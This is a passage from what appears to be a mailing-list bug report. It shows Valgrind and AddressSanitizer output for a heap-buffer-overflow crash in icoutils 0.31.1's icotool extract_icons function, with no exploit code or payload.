==4859==    by 0x402420: main (main.c:323)
==4859==  Address 0x59267b0 is 0 bytes after a block of size 64 alloc'd
==4859==    at 0x4C28C20: malloc (vg_replace_malloc.c:296)
==4859==    by 0x4090C8: xmalloc (xmalloc.c:41)
==4859==    by 0x403F0E: extract_icons (extract.c:254)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859==
==4859== Process terminating with default action of signal 11 (SIGSEGV)
==4859==  Bad permissions for mapped region at address 0x5D23000
==4859==    at 0x4041A4: extract_icons (extract.c:320)
==4859==    by 0x402420: main (main.c:323)
==4859==
==4859== HEAP SUMMARY:
==4859==     in use at exit: 1,063 bytes in 8 blocks
==4859==   total heap usage: 54 allocs, 46 frees, 10,630 bytes allocated
==4859==
==4859== LEAK SUMMARY:
==4859==    definitely lost: 64 bytes in 1 blocks
==4859==    indirectly lost: 0 bytes in 0 blocks
==4859==      possibly lost: 0 bytes in 0 blocks
==4859==    still reachable: 999 bytes in 7 blocks
==4859==         suppressed: 0 bytes in 0 blocks
==4859== Rerun with --leak-check=full to see details of leaked memory
==4859==
==4859== For counts of detected and suppressed errors, rerun with: -v
==4859== ERROR SUMMARY: 6269097 errors from 6 contexts (suppressed: 0 from 0)
Segmentation fault



ASAN Report (needs to compiled with -fsanitize=address):

==4814==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000be80 
at pc 0x410a94 bp 0x7bbe58928250 sp 0x7bbe58928248
READ of size 1 at 0x60c00000be80 thread T0
    #0 0x410a93 in simple_vec 
/home/ico-target/icoutils-0.31.1/icotool/extract.c:425
    #1 0x410a93 in extract_icons 
/home/ico-target/icoutils-0.31.1/icotool/extract.c:313
    #2 0x403efd in main /home/ico-target/icoutils-0.31.1/icotool/main.c:323
    #3 0x797d4a25eb44 in __libc_start_main 
(/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
    #4 0x404e15 (/home/ico-target/icoutils-0.31.1/icotool/icotool+0x404e15)

0x60c00000be80 is located 0 bytes to the right of 128-byte region 
[0x60c00000be00,0x60c00000be80)
allocated by thread T0 here:
    #0 0x797d4ad7f73f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
    #1 0x43c2e0 in xmalloc /home/ico-target/icoutils-0.31.1/lib/xmalloc.c:41

SUMMARY: AddressSanitizer: heap-buffer-overflow 
/home/ico-target/icoutils-0.31.1/icotool/extract.c:425 simple_vec
Shadow bytes around the buggy address:
  0x0c187fff9780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff9790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff97c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c187fff97d0:[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c187fff97e0: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x0c187fff97f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c187fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c187fff9820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Contiguous container OOB:fc
  ASan internal:           fe
==4814==ABORTING

Reply via email to